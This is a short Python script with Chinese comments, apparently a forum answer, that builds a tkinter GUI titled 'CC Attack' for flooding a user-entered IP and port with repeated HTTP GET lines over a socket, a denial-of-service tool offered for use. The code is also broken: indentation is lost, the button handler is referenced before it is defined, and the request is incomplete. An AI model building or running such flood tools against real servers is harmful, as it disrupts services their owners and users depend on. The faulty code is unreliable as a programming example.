import socket
import threading
import tkinter
# 创建图形化界面
root = tkinter.Tk()
root.title("CC Attack")
root.geometry("500x500")
# 设置服务器IP和端口号
ip_str = tkinter.StringVar()
port_str = tkinter.StringVar()
# 创建服务器IP和端口号输入框
ip_label = tkinter.Label(root, text="Server IP:")
ip_entry = tkinter.Entry(root, textvariable=ip_str)
port_label = tkinter.Label(root, text="Port:")
port_entry = tkinter.Entry(root, textvariable=port_str)
# 创建攻击按钮
attack_btn = tkinter.Button(root, text="Attack", command=attack_btn_click)
# 攻击函数
def attack_btn_click():
ip = ip_str.get()
port = int(port_str.get())
# 创建socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 发送攻击请求
sock.connect((ip, port))
while True:
sock.send("GET / HTTP/1.1\r\n".encode("utf-8"))
# 将组件放置到界面上
ip_label.pack()
ip_entry.pack()
port_label.pack()
port_entry.pack()
attack_btn.pack()
# 运行主程序
root.mainloop()
意思都写在上面了,是有图形化界面的